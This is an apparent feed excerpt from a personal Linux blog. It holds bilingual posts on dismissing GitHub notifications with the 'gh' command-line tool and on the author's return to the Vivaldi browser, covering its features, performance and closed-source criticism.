Anyway, does it work? Yes, it works. The rest is details.</p> <h2 id="result-for-now-at-least_1">Result? For Now, At Least...<a class="headerlink" href="#result-for-now-at-least" title="Permanent link">#</a></h2> <p>So there you have it. We got rid of that annoying notification with a single command. Is it a great victory? No. But these are the small victories we win during the day. This, in my opinion, saved me at least 5-10 seconds, maybe more! What do you do in those seconds? You yawn in front of the computer, sip your coffee... Anyway.</p> <p>Of course, this doesn't mean that project won't send you notifications again. This cycle, unfortunately, never ends. But at least now we have a weapon to quickly resolve that momentary annoyance from the terminal. It just occurred to me, a small <code>bash</code> script could actually be written to do this in bulk... Anyway, that's a topic for another day.</p> <div class="admonition tip"> <p class="admonition-title">For More If you're curious about the other blessings of the GitHub API, GitHub's <a href="https://docs.github.com/en/rest" rel="noopener noreferrer" target="_blank">REST API documentation</a> is a vast ocean. But be careful, you might get lost in it.</p> </div> <hr/> <p><img alt="Github Invisible notification" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/github-bildirim-spam-gh-ile-kurtulmak-xl.webp" srcset="/images/github-bildirim-spam-gh-ile-kurtulmak-sm.webp 300w, /images/github-bildirim-spam-gh-ile-kurtulmak-md.webp 500w, /images/github-bildirim-spam-gh-ile-kurtulmak-lg.webp 800w, /images/github-bildirim-spam-gh-ile-kurtulmak-xl.webp 1200w"/></p>2025-11-21T16:30:00+03:002025-11-21T16:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-21:/github-bildirim-spam-gh-ile-kurtulmak/

<p>GitHub'daki o bitmek bilmeyen spam bildirimler canınızı mı sıkıyor? Gelin, 'gh' adlı komut satırı aracıyla bu bildirimleri nasıl 'okundu' yapıp kurtuluruz, ona bakalım.</p>

<p>Yine o sabahlardan biri... Bir kalk&inodot;yorsun, kahveni alm&inodot;&scedil;s&inodot;n, g&uuml;ne haz&inodot;rs&inodot;n san&inodot;yorsun. Sonra bir bak&inodot;yorsun GitHub'da k&inodot;pk&inodot;rm&inodot;z&inodot; bir bildirim noktas&inodot; parl&inodot;yor. T&inodot;kl&inodot;yorsun. Ve evet, 30 yeni bildirim. &Scedil;&ouml;yle bir g&ouml;z gezdirince anl&inodot;yorsun ki bunlar&inodot;n belki sadece biri &ouml;nemli, geri kalan 29'u ise alakas&inodot;z bir projede ad&inodot;n&inodot;n ge&ccedil;ti&gbreve;i, art&inodot;k hi&ccedil;bir ilgin olmayan bir "issue" takibi. Tam bir ba&scedil; a&gbreve;r&inodot;s&inodot;. 🤯</p> <p>Bu bildirimleri web aray&uuml;z&uuml;nden tek tek bulup, "Done" demek de bir se&ccedil;enek tabii. Ama kimin var o kadar vakti? Hele ki o aray&uuml;zde do&gbreve;ru bildirimi bulmak bazen samanl&inodot;kta i&gbreve;ne aramaya d&ouml;n&uuml;yor. K&inodot;sacas&inodot;, daha iyi bir yol olmal&inodot;.</p> <p>&Idot;&scedil;in ilgin&ccedil; yan&inodot;, var.</p> <h2 id="git-degil-gh-bu-ne-ola-ki"><code>git</code> De&gbreve;il, <code>gh</code>! Bu Ne Ola ki?<a class="headerlink" href="#git-degil-gh-bu-ne-ola-ki" title="Permanent link">#</a></h2> <p>&Scedil;imdi, burada bir kar&inodot;&scedil;&inodot;kl&inodot;k olmas&inodot;n. Herkesin bildi&gbreve;i, kulland&inodot;&gbreve;&inodot; <code>git</code> komutlar&inodot; (<code>push</code>, <code>pull</code>, <code>commit</code> falan) ayr&inodot; bir d&uuml;nya. O, versiyon kontrol&uuml;n&uuml;n kendisi. Ama bir de GitHub'&inodot;n kendi geli&scedil;tirdi&gbreve;i <code>gh</code> diye bir komut sat&inodot;r&inodot; arac&inodot; (CLI) var.</p> <p>Bu <code>gh</code> denen &scedil;ey, do&gbreve;rudan GitHub &ouml;zellikleriyle konu&scedil;uyor. Pull Request a&ccedil;mak, Issue'lar&inodot; listelemek... ve evet, bildirimleri y&ouml;netmek gibi i&scedil;ler yap&inodot;yor. Bunu ilk duydu&gbreve;umda "Ne gerek vard&inodot; ki?" dedi&gbreve;imi hat&inodot;rl&inodot;yorum ama baz&inodot; durumlarda hayat kurtar&inodot;yor cidden.</p> <div class="admonition note"> <p class="admonition-title">K&uuml;&ccedil;&uuml;k Bir Yanl&inodot;&scedil; Anlama Asl&inodot;nda az &ouml;nce de bahsettik ya, baz&inodot;lar&inodot; bu 'gh' denen &scedil;eyi 'grafik aray&uuml;z&uuml;' zannediyor. Halbuki alakas&inodot; yok. Bu tamamen terminalden &ccedil;al&inodot;&scedil;an bir ara&ccedil;. Yani klavye delikanl&inodot;l&inodot;&gbreve;&inodot;na devam! ⌨️</p> </div> <p>E&gbreve;er sisteminizde kurulu de&gbreve;ilse, <code>gh</code> komutunu &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;n&inodot;zda "command not found" gibi bir hata al&inodot;rs&inodot;n&inodot;z. Kurulumu basit. E&gbreve;er Arch Linux gibi bir &scedil;ey kullan&inodot;yorsan&inodot;z <code>sudo pacman -S github-cli</code> ile, macOS kullan&inodot;yorsan&inodot;z <code>brew install gh</code> ile halledebilirsiniz. Di&gbreve;er sistemler i&ccedil;in de <a href="https://cli.github.com/" rel="noopener noreferrer" target="_blank">resmi sitesinde</a> gayet net anlatm&inodot;&scedil;lar.</p> <div class="admonition tip"> <p class="admonition-title">Unutma! <code>gh</code> arac&inodot;n&inodot; kullanmadan &ouml;nce terminalde <code>gh auth login</code> komutuyla hesab&inodot;n&inodot;za bir kere giri&scedil; yapman&inodot;z gerekiyor. Yoksa 'Git abim beni tan&inodot;m&inodot;yor' diye a&gbreve;lamay&inodot;n.</p> </div> <h2 id="hadi-su-spami-temizleyelim-adm-adm-gh-kullanm">Hadi &Scedil;u Spam'i Temizleyelim: Ad&inodot;m Ad&inodot;m <code>gh</code> Kullan&inodot;m&inodot;<a class="headerlink" href="#hadi-su-spami-temizleyelim-adm-adm-gh-kullanm" title="Permanent link">#</a></h2> <p>Neyse, geyi&gbreve;i b&inodot;rakal&inodot;m da i&scedil;e d&ouml;nelim. Amac&inodot;m&inodot;z belli: o istenmeyen, spam bildirimden kurtulmak. Sadece iki ad&inodot;ma bak&inodot;yor her &scedil;ey.</p> <h3 id="adm-1-butun-bildirimleri-dokelim-ortaya">Ad&inodot;m 1: B&uuml;t&uuml;n Bildirimleri D&ouml;kelim Ortaya<a class="headerlink" href="#adm-1-butun-bildirimleri-dokelim-ortaya" title="Permanent link">#</a></h3> <p>&Idot;lk yapaca&gbreve;&inodot;m&inodot;z &scedil;ey, okunmam&inodot;&scedil; t&uuml;m bildirimleri bir listelemek. Bunun i&ccedil;in komutumuz &scedil;u:</p> <div class="highlight"><pre><span></span><code>gh<span class="w"> </span>api<span class="w"> </span>notifications </code></pre></div> <p>Bu komutu bir &ccedil;al&inodot;&scedil;t&inodot;r&inodot;yorsun... Kar&scedil;&inodot;na b&ouml;yle acayip, karman &ccedil;orman, JSON format&inodot;nda bir metin y&inodot;&gbreve;&inodot;n&inodot; &ccedil;&inodot;kacak. Sak&inodot;n korkma. G&ouml;z&uuml;n&uuml; korkutmas&inodot;n. Bize oradan laz&inodot;m olan tek bir &scedil;ey var: kurtulmak istedi&gbreve;imiz bildirimin kimlik numaras&inodot;, yani <code>id</code>'si.</p> <p>&Ccedil;&inodot;kt&inodot; a&scedil;a&gbreve;&inodot; yukar&inodot; &scedil;una benzeyecektir:</p> <div class="highlight"><pre><span></span><code><span class="p">[</span> <span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"19105015689"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"repository"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"full_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"notifier-mail/gitcoin.com"</span> <span class="w"> </span><span class="p">},</span> <span class="w"> </span><span class="nt">"subject"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Buralarda bir yerlerde bildirimin ba&scedil;l&inodot;&gbreve;&inodot; yazar"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"url"</span><span class="p">:</span><span class="w"> </span><span class="s2">"..."</span> <span class="w"> </span><span class="p">},</span> <span class="w"> </span><span class="nt">"reason"</span><span class="p">:</span><span class="w"> </span><span class="s2">"mention"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"unread"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nt">"url"</span><span class="p">:</span><span class="w"> </span><span class="s2">"https://api.github.com/notifications/threads/19105015689"</span> <span class="w"> </span><span class="p">}</span> <span class="p">]</span> </code></pre></div> <p>Genelde <code>url</code> alan&inodot;n&inodot;n en sonundaki o upuzun say&inodot; oluyor arad&inodot;&gbreve;&inodot;m&inodot;z <code>id</code>. San&inodot;r&inodot;m... Ben hep oradan buldum en az&inodot;ndan. Ba&scedil;l&inodot;ktan (<code>title</code>) do&gbreve;ru bildirimi buldu&gbreve;undan emin ol yeter. O ID'yi bir kenara kopyalay&inodot;n. Sonraki ad&inodot;mda laz&inodot;m olacak.</p> <h3 id="adm-2-oku-ve-kurtul-delete-emri">Ad&inodot;m 2: Oku ve Kurtul! DELETE Emri<a class="headerlink" href="#adm-2-oku-ve-kurtul-delete-emri" title="Permanent link">#</a></h3> <p>ID'yi kapt&inodot;k m&inodot;? Tamamd&inodot;r. &Scedil;imdi o bildirimi "okundu" olarak i&scedil;aretleyip ortadan kald&inodot;rma zaman&inodot;.</p> <div class="admonition warning"> <p class="admonition-title">Dikkat! ☢️ Emin ol do&gbreve;ru ID'yi kopyalad&inodot;n. Yanl&inodot;&scedil;l&inodot;kla &ouml;nemli bir bildirimi okundu olarak i&scedil;aretlersen haberin olmaz, arada kaynar gider. &Idot;ki kere, hatta &uuml;&ccedil; kere kontrol et! Ben uyard&inodot;m.</p> </div> <p>Komutumuz &scedil;u &scedil;ekilde:</p> <div class="highlight"><pre><span></span><code>gh<span class="w"> </span>api<span class="w"> </span>-X<span class="w"> </span>DELETE<span class="w"> </span>notifications/threads/ID_BURAYA_GELECEK </code></pre></div> <p><code>ID_BURAYA_GELECEK</code> yazan yere, az &ouml;nce kopyalad&inodot;&gbreve;&inodot;n&inodot;z o uzun say&inodot;y&inodot; yap&inodot;&scedil;t&inodot;racaks&inodot;n&inodot;z. Mesela bizim &ouml;rnekteki ID i&ccedil;in komut &scedil;&ouml;yle olurdu:</p> <div class="highlight"><pre><span></span><code>gh<span class="w"> </span>api<span class="w"> </span>-X<span class="w"> </span>DELETE<span class="w"> </span>notifications/threads/19105015689 </code></pre></div> <p>Bu komutu &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;n&inodot;zda hi&ccedil;bir &scedil;ey olmayacak gibi g&ouml;r&uuml;n&uuml;r. &Ccedil;&inodot;kt&inodot; falan vermez genelde. Ama arka planda o bildirim art&inodot;k "okunmu&scedil;" olarak i&scedil;aretlendi. GitHub'a gidip bakt&inodot;&gbreve;&inodot;n&inodot;zda o k&inodot;rm&inodot;z&inodot; noktan&inodot;n kayboldu&gbreve;unu g&ouml;receksiniz. Ya da en az&inodot;ndan say&inodot;n&inodot;n bir azald&inodot;&gbreve;&inodot;n&inodot;. B&uuml;y&uuml;k zafer! 😎</p> <p>API d&uuml;nyas&inodot; da bir garip yani. Bir &scedil;eyi "okundu" yapmak i&ccedil;in <code>DELETE</code> (Sil) fiilini kullanmak... B&ouml;yle demek &ccedil;ok resmi ka&ccedil;t&inodot;, dur &scedil;&ouml;yle d&uuml;zelteyim: Adamlar "okundu olarak i&scedil;aretle" diye ayr&inodot; bir komut yapmak yerine "listeden silinsin gitsin" mant&inodot;&gbreve;&inodot;yla <code>DELETE</code> demi&scedil;ler herhalde. Neyse, &ccedil;al&inodot;&scedil;&inodot;yor mu? &Ccedil;al&inodot;&scedil;&inodot;yor. Gerisi teferruat.</p> <h2 id="sonuc-yani-simdilik_1">Sonu&ccedil;? Yani, &Scedil;imdilik...<a class="headerlink" href="#sonuc-yani-simdilik" title="Permanent link">#</a></h2> <p>&Idot;&scedil;te b&ouml;yle. Tek bir komutla o sinir bozucu bildirimden kurtulduk. B&uuml;y&uuml;k bir zafer mi? Hay&inodot;r. Ama g&uuml;n i&ccedil;inde kazand&inodot;&gbreve;&inodot;m&inodot;z k&uuml;&ccedil;&uuml;k zaferler bunlar i&scedil;te. Bu, bana kal&inodot;rsa en az 5-10 saniye kazand&inodot;rd&inodot;, belki daha fazla! O saniyelerde ne yapars&inodot;n? Bilgisayar&inodot;n ba&scedil;&inodot;nda esnersin, kahve yudumlars&inodot;n... Neyse.</p> <p>Tabii bu, o projenin size bir daha bildirim g&ouml;ndermeyece&gbreve;i anlam&inodot;na gelmiyor. Bu d&ouml;ng&uuml; maalesef hi&ccedil; bitmiyor. Ama en az&inodot;ndan art&inodot;k o anl&inodot;k sinir bozuklu&gbreve;unu terminalden h&inodot;zl&inodot;ca &ccedil;&ouml;zmek i&ccedil;in bir silah&inodot;m&inodot;z var. Akl&inodot;ma geldi de, bunu toplu yapmak i&ccedil;in k&uuml;&ccedil;&uuml;k bir <code>bash</code> script'i yaz&inodot;labilir asl&inodot;nda... Neyse, o da ba&scedil;ka bir g&uuml;n&uuml;n konusu.</p> <div class="admonition tip"> <p class="admonition-title">Daha Fazlas&inodot; &Idot;&ccedil;in GitHub API'sinin di&gbreve;er nimetlerini merak ediyorsan&inodot;z, GitHub'&inodot;n <a href="https://docs.github.com/en/rest" rel="noopener noreferrer" target="_blank">REST API dok&uuml;manlar&inodot;</a> derya deniz. Ama dikkat, i&ccedil;inde kaybolabilirsiniz.</p> </div> <hr/> <p><img alt="Github G&ouml;r&uuml;nmeyen bildirim" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/github-bildirim-spam-gh-ile-kurtulmak-xl.webp" srcset="/images/github-bildirim-spam-gh-ile-kurtulmak-sm.webp 300w, /images/github-bildirim-spam-gh-ile-kurtulmak-md.webp 500w, /images/github-bildirim-spam-gh-ile-kurtulmak-lg.webp 800w, /images/github-bildirim-spam-gh-ile-kurtulmak-xl.webp 1200w"/></p>2025-11-18T22:55:00+03:002025-11-18T22:55:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-18:/en/vivaldi-linux-deneyimi/

<p>As someone who suffered through Internet Explorer, I give Chrome its due. But I'm explaining why I returned to my old friend Vivaldi after switching to KDE and why I don't care about FOSS obsessions.</p>

<h2 id="why-vivaldi-on-linux-whats-the-big-deal">Why Vivaldi on Linux? What's the Big Deal?<a class="headerlink" href="#why-vivaldi-on-linux-whats-the-big-deal" title="Permanent link">#</a></h2> <p>Let's be honest, when you talk about browsers on Linux, two names usually come to mind: Firefox and... Chromium (or its derivatives). Firefox is the fortress of the FOSS (Free and Open Source Software) world. Chromium is Google's standard.</p> <p>So where does Vivaldi fit into this picture?</p> <p>When I first installed Vivaldi, I thought it was less of a browser and more of an "airplane cockpit." Its purpose isn't simplicity, but the exact opposite: <strong>Control</strong>. Vivaldi is made for the "power user" who wants to "manage" their browser and loves to tweak every corner to their liking. (In fact, if you want to make your browser more secure, be sure to check out my <a href="/en/vivaldi-doh-dns-over-https-ayari/">How to Configure DoH in Vivaldi</a> guide).</p> <ul> <li><strong>Tab Management:</strong> Grouping tabs (stacking), viewing two tabs at once in a split screen (tiling)... these are fantastic features. They are lifesavers, especially when you have 20+ tabs open.</li> <li><strong>Sidebar:</strong> This is like Vivaldi's signature feature. You can pin downloads, notes, bookmarks, and even sites like WhatsApp Web to that panel.</li> <li><strong>Built-in Toys:</strong> It has a built-in note-taking tool, an RSS reader, and a screenshot tool. It's truly a "Swiss Army Knife" 🇨🇭 without needing another extension.</li> </ul> <p>In short, Vivaldi tells you: "This browser is yours. Take it, break it, spill it, reshape it as you wish."</p> <h2 id="so-why-doesnt-everyone-use-it-the-objections">So Why Doesn't Everyone Use It? (The Objections)<a class="headerlink" href="#so-why-doesnt-everyone-use-it-the-objections" title="Permanent link">#</a></h2> <p>We've praised it so much, so why don't all Linux distributions come with Vivaldi? Why do people get a little tense when its name comes up in FOSS communities?</p> <p>This is where the rubber meets the road.</p> <h3 id="1-the-sin-of-closed-source">1. The Sin of Closed Source<a class="headerlink" href="#1-the-sin-of-closed-source" title="Permanent link">#</a></h3> <p>This is its biggest "sin" in the Linux world. Yes, Vivaldi's foundation (Chromium) is open source, but its user interface (UI), the layer that provides all the features we love, is <strong>closed source</strong> (proprietary).<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <div class="admonition warning"> <p class="admonition-title">Warning! ⚠️ Not Fully FOSS! For most Linux users, 'free software' is a philosophy. If you can't see a software's code, you can't fully know what it's doing inside. Because Vivaldi doesn't fully adhere to this philosophy, it crosses a red line for many 'old-school' Linux users.</p> </div> <h3 id="2-is-it-a-bit-sluggish-myths-and-realities">2. Is It "A Bit Sluggish"? (Myths and Realities)<a class="headerlink" href="#2-is-it-a-bit-sluggish-myths-and-realities" title="Permanent link">#</a></h3> <p>Let's talk about performance. Vivaldi used to be called "heavy," and I would have agreed.</p> <p>I remember using it on my old <strong>ThinkPad W520</strong> laptop; the machine would literally groan. Moreover, there was no <strong>Sync</strong> feature back then, so everything was lost after a reinstall&mdash;a total pain.</p> <p>But it's 2025, and things have changed a lot. I'm currently using Vivaldi on a modern system with an <strong>i5-13400F</strong> processor and <strong>16GB of DDR5 RAM</strong>, and the result is surprising.</p> <p>Right now, with <strong>18 tabs</strong> open and <strong>10 active extensions</strong>, RAM usage is only around <strong>1.9 GB</strong>. Thanks to Vivaldi's <strong>Tab Hibernation</strong> feature, unused tabs don't bog down the system in the background. So, on modern hardware, the "Vivaldi is sluggish" argument is no longer valid; it runs very efficiently and quickly. 🚀</p> <h3 id="3-feature-overload-the-paradox">3. Feature Overload (The Paradox)<a class="headerlink" href="#3-feature-overload-the-paradox" title="Permanent link">#</a></h3> <p>It sounds strange, but yes. Some users just want their browser to open websites <em>quickly</em>. The settings menu, note panel, RSS reader, etc., that greet them when they open Vivaldi... it's overwhelming. For the person who just "wanted to Google something," Vivaldi is a complete headache.</p> <h2 id="does-it-have-a-dirty-past-any-scandals_1">Does It Have a Dirty Past? Any Scandals?<a class="headerlink" href="#does-it-have-a-dirty-past-any-scandals" title="Permanent link">#</a></h2> <p>When people hear "closed source," they immediately think, "It must be selling my data!" And they have a right to be suspicious.</p> <p>So what's Vivaldi's situation? Let me tell you straight: No. It doesn't have a major incident like "Millions of users' data leaked" or "Sold your settings to China." The company (partly due to its European origins) has a clear stance on data privacy, saying, "We don't sell your data."</p> <p>But... (yes, there's a 'but'):</p> <ul> <li><strong>Default Settings:</strong> Some privacy tests (like those conducted by sites such as <a href="https://avoidthehack.com" rel="noopener noreferrer" target="_blank">Avoid the Hack</a>) have shown that Vivaldi's default settings aren't the "most secure." This means you need to do some tweaking right after installation.</li> <li><strong>The Google Feud:</strong> Years ago, its founder (also the former CEO of Opera) had a spat with Google. They claimed Google stopped their AdWords ads "without a valid reason." That's competition for you, not too surprising.</li> </ul> <div class="admonition tip"> <p class="admonition-title">Tip ⚡ Do This Right After Installing: After installing Vivaldi, immediately go to <code>Settings &gt; Privacy and Security &gt; Tracker and Ad Blocking</code>. By default, it comes with 'No Blocking' or 'Block Trackers' selected. Change this to <strong>'Block Trackers and Ads.'</strong> It will change your world.</p> </div> <h2 id="confessions-of-a-dinosaur-ie-chrome-and-the-return-home">Confessions of a Dinosaur: IE, Chrome, and the Return Home<a class="headerlink" href="#confessions-of-a-dinosaur-ie-chrome-and-the-return-home" title="Permanent link">#</a></h2> <p>Now let's leave the technical details for a bit and return to real life.</p> <p>I'm someone who has witnessed the crawling and growing phases of internet browsers with my own eyes. Those who suffered through that creature called Internet Explorer will understand me very well. 🦖 After those days, Google Chrome was not just a browser for us; it was a blessing, a whole universe.</p> <p>Just as I'm not a "distro-hopper" (constantly changing distributions) in the Linux world, I haven't been fickle with browsers either. I used Chrome for years. Yes, they sometimes made absurd decisions that undermined the user experience, but I continued on my way, thinking, "only those who suffered know." I rarely gave Firefox a chance, but that was it.</p> <p>So what happened now that brought Vivaldi back to my desk?</p> <p>Recently, to provide you all with better visuals (even though I can't stream 😅), I switched to the <strong>KDE</strong> desktop environment. With my move to KDE, I also returned to my old friend Vivaldi.</p> <p>If it weren't for Chrome, this would definitely be my primary browser. Why? Because I can customize everything about it. I use it with a minimum of 15-20 tabs open, and Vivaldi doesn't break a sweat. I love this tool much more than other alternative browsers.</p> <h2 id="my-gripe-with-those-who-say-but-its-closed-source">My Gripe with Those Who Say, "But It's Closed Source!"<a class="headerlink" href="#my-gripe-with-those-who-say-but-its-closed-source" title="Permanent link">#</a></h2> <p>Let's get to the infamous topic...</p> <p>Frankly, I don't understand why such a powerful and customizable browser is ostracized and declared taboo just because a part of it is closed source. I can't make sense of it. 🤷&zwj;&male;️</p> <p>Let's be a little realistic here:</p> <ol> <li>At least they don't sell you a "privacy" story and then secretly sell your data to the companies you hate, unlike some other browsers.</li> <li>We've seen what even your favorite, praised-to-the-skies Firefox has been involved in in the past. We've told these "FOSS bros" before, but they wouldn't listen.</li> <li><strong>Something being open source doesn't mean you have complete control.</strong></li> </ol> <p>For me, Vivaldi is the winner for now with its honesty, customizability, and compatibility with KDE. 😎</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>This is the most debated topic in the FOSS (Free and Open Source Software) community. The Chromium base is open source, but that beautiful UI... is not.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-18T22:55:00+03:002025-11-18T22:55:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-18:/vivaldi-linux-deneyimi/

<p>Internet Explorer kahrını çekmiş biri olarak Chrome'un hakkını veririm. Ama KDE'ye geçişimle birlikte eski dostum Vivaldi'ye neden döndüğümü ve FOSS takıntılarını neden umursamadığımı anlatıyorum.</p>

<h2 id="linuxta-neden-vivaldi-olay-ne">Linux'ta Neden Vivaldi? Olay&inodot; Ne?<a class="headerlink" href="#linuxta-neden-vivaldi-olay-ne" title="Permanent link">#</a></h2> <p>Hadi d&uuml;r&uuml;st olal&inodot;m, Linux'ta taray&inodot;c&inodot; deyince akla genelde iki isim gelir: Firefox ve... Chromium (veya t&uuml;revleri). Firefox, FOSS (&Ouml;zg&uuml;r ve A&ccedil;&inodot;k Kaynak) d&uuml;nyas&inodot;n&inodot;n kalesi. Chromium ise Google'&inodot;n standart&inodot;.</p> <p>Peki Vivaldi bu resimde nerede duruyor?</p> <p>Ben Vivaldi'yi ilk kurdu&gbreve;umda, bunun bir taray&inodot;c&inodot;dan &ccedil;ok, bir "u&ccedil;ak kokpiti" oldu&gbreve;unu d&uuml;&scedil;&uuml;nm&uuml;&scedil;t&uuml;m. Olay&inodot; basitlik de&gbreve;il, tam tersi: <strong>Kontrol</strong>. Vivaldi, taray&inodot;c&inodot;s&inodot;n&inodot; "y&ouml;netmek" isteyen, her k&ouml;&scedil;esini kendine g&ouml;re ayarlamay&inodot; seven "power user" (g&uuml;&ccedil;l&uuml; kullan&inodot;c&inodot;) i&ccedil;in yap&inodot;lm&inodot;&scedil;. (Hatta taray&inodot;c&inodot;n&inodot;z&inodot; daha g&uuml;venli hale getirmek istiyorsan&inodot;z <a href="/vivaldi-doh-dns-over-https-ayari/">Vivaldi'de DoH Ayar&inodot; Nas&inodot;l Yap&inodot;l&inodot;r</a> rehberime de mutlaka g&ouml;z at&inodot;n).</p> <ul> <li><strong>Sekme Y&ouml;netimi:</strong> Sekmeleri gruplama (stacking), b&ouml;l&uuml;nm&uuml;&scedil; ekranda iki sekmeyi ayn&inodot; anda g&ouml;rme (tiling)... bunlar harika &ouml;zellikler. &Ouml;zellikle 20+ sekme a&ccedil;&inodot;nca hayat kurtar&inodot;yor.</li> <li><strong>Yan Panel (Sidebar):</strong> Bu, Vivaldi'nin imzas&inodot; gibi bir &scedil;ey. &Idot;ndirilenler, notlar, yer imleri, hatta WhatsApp Web gibi siteleri o panele sabitleyebiliyorsun.</li> <li><strong>Dahili Oyuncaklar:</strong> &Idot;&ccedil;inde not alma arac&inodot; var, RSS okuyucusu var, ekran g&ouml;r&uuml;nt&uuml;s&uuml; alma arac&inodot; var. Ba&scedil;ka bir eklentiye ihtiya&ccedil; duymadan resmen bir "&Idot;svi&ccedil;re &Ccedil;ak&inodot;s&inodot;" 🇨🇭 gibi.</li> </ul> <p>K&inodot;sacas&inodot;, Vivaldi sana diyor ki: "Bu taray&inodot;c&inodot; senin, al, istedi&gbreve;in gibi k&inodot;r, d&ouml;k, yeniden &scedil;ekillendir."</p> <h2 id="o-zaman-neden-herkes-kullanmyor-itiraz-noktalar">O Zaman Neden Herkes Kullanm&inodot;yor? (&Idot;tiraz Noktalar&inodot;)<a class="headerlink" href="#o-zaman-neden-herkes-kullanmyor-itiraz-noktalar" title="Permanent link">#</a></h2> <p>Bu kadar &ouml;vd&uuml;k, peki neden t&uuml;m Linux da&gbreve;&inodot;t&inodot;mlar&inodot; Vivaldi ile gelmiyor? Neden FOSS topluluklar&inodot;nda ad&inodot; ge&ccedil;ti&gbreve;inde insanlar biraz geriliyor?</p> <p>&Idot;&scedil;te zurnan&inodot;n z&inodot;rt dedi&gbreve;i yer.</p> <h3 id="1-kapal-kaynak-gunah">1. Kapal&inodot; Kaynak G&uuml;nah&inodot;<a class="headerlink" href="#1-kapal-kaynak-gunah" title="Permanent link">#</a></h3> <p>Bu, Linux d&uuml;nyas&inodot;ndaki en b&uuml;y&uuml;k "g&uuml;nah&inodot;". Evet, Vivaldi'nin temeli (Chromium) a&ccedil;&inodot;k kaynak, ama aray&uuml;z&uuml; (UI), yani o sevdi&gbreve;imiz t&uuml;m &ouml;zellikleri sunan katman, <strong>kapal&inodot; kaynak</strong> (proprietary).<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <div class="admonition warning"> <p class="admonition-title">Dikkat! ⚠️ Tam FOSS De&gbreve;il! Linux kullan&inodot;c&inodot;lar&inodot;n&inodot;n &ccedil;o&gbreve;u i&ccedil;in '&ouml;zg&uuml;r yaz&inodot;l&inodot;m' bir felsefedir. Bir yaz&inodot;l&inodot;m&inodot;n kodunu g&ouml;remiyorsan, i&ccedil;inde ne yapt&inodot;&gbreve;&inodot;n&inodot; tam olarak bilemezsin. &Idot;&scedil;te Vivaldi, bu felsefeye tam uymad&inodot;&gbreve;&inodot; i&ccedil;in bir&ccedil;ok 'eski toprak' Linux kullan&inodot;c&inodot;s&inodot;n&inodot;n k&inodot;rm&inodot;z&inodot; &ccedil;izgisini ge&ccedil;iyor.</p> </div> <h3 id="2-biraz-hantal-m-efsaneler-ve-gercekler">2. "Biraz Hantal" m&inodot;? (Efsaneler ve Ger&ccedil;ekler)<a class="headerlink" href="#2-biraz-hantal-m-efsaneler-ve-gercekler" title="Permanent link">#</a></h3> <p>Gelelim performans konusuna. Eskiden Vivaldi i&ccedil;in "a&gbreve;&inodot;r" denirdi, ben de buna kat&inodot;l&inodot;rd&inodot;m.</p> <p>Eski <strong>ThinkPad W520</strong> laptopumda kulland&inodot;&gbreve;&inodot;m zamanlar&inodot; hat&inodot;rl&inodot;yorum; makine resmen inlerdi. &Uuml;stelik o zamanlar <strong>Sync (Senkronizasyon)</strong> &ouml;zelli&gbreve;i de yoktu, format at&inodot;nca her &scedil;ey giderdi, tam bir eziyetti.</p> <p>Ama y&inodot;l 2025 ve durum &ccedil;ok de&gbreve;i&scedil;ti. &Scedil;u an <strong>i5-13400F</strong> i&scedil;lemcili, <strong>16GB DDR5 RAM</strong>'li g&uuml;ncel bir sistemde Vivaldi kullan&inodot;yorum ve sonu&ccedil; &scedil;a&scedil;&inodot;rt&inodot;c&inodot;.</p> <p>&Scedil;u an <strong>18 sekme</strong> a&ccedil;&inodot;k, <strong>10 aktif eklenti</strong> &ccedil;al&inodot;&scedil;&inodot;yor ve RAM t&uuml;ketimi sadece <strong>1.9 GB</strong> civar&inodot;nda. Vivaldi'nin <strong>Sekme Uyutma (Hibernation)</strong> &ouml;zelli&gbreve;i sayesinde, kullanmad&inodot;&gbreve;&inodot;n&inodot;z sekmeler arka planda sistemi yormuyor. Yani modern donan&inodot;mlarda "Vivaldi hantal" laf&inodot; art&inodot;k ge&ccedil;erli de&gbreve;il; gayet verimli ve seri &ccedil;al&inodot;&scedil;&inodot;yor. 🚀</p> <h3 id="3-ozellik-fazlalg-paradoks">3. &Ouml;zellik Fazlal&inodot;&gbreve;&inodot; (Paradoks)<a class="headerlink" href="#3-ozellik-fazlalg-paradoks" title="Permanent link">#</a></h3> <p>Kula&gbreve;a tuhaf geliyor ama evet. Baz&inodot; kullan&inodot;c&inodot;lar sadece taray&inodot;c&inodot;lar&inodot;n&inodot;n <em>h&inodot;zl&inodot;ca</em> web sitelerini a&ccedil;mas&inodot;n&inodot; ister. Vivaldi'yi a&ccedil;t&inodot;klar&inodot;nda kar&scedil;&inodot;lar&inodot;na &ccedil;&inodot;kan ayar men&uuml;s&uuml;, not paneli, RSS okuyucu falan... bu onlar&inodot; bo&gbreve;uyor. "Ben sadece Google'a girecektim" diyen adam i&ccedil;in Vivaldi tam bir ba&scedil; a&gbreve;r&inodot;s&inodot;.</p> <h2 id="gecmisi-kirli-mi-skandal-var-m_1">Ge&ccedil;mi&scedil;i Kirli mi? Skandal&inodot; Var m&inodot;?<a 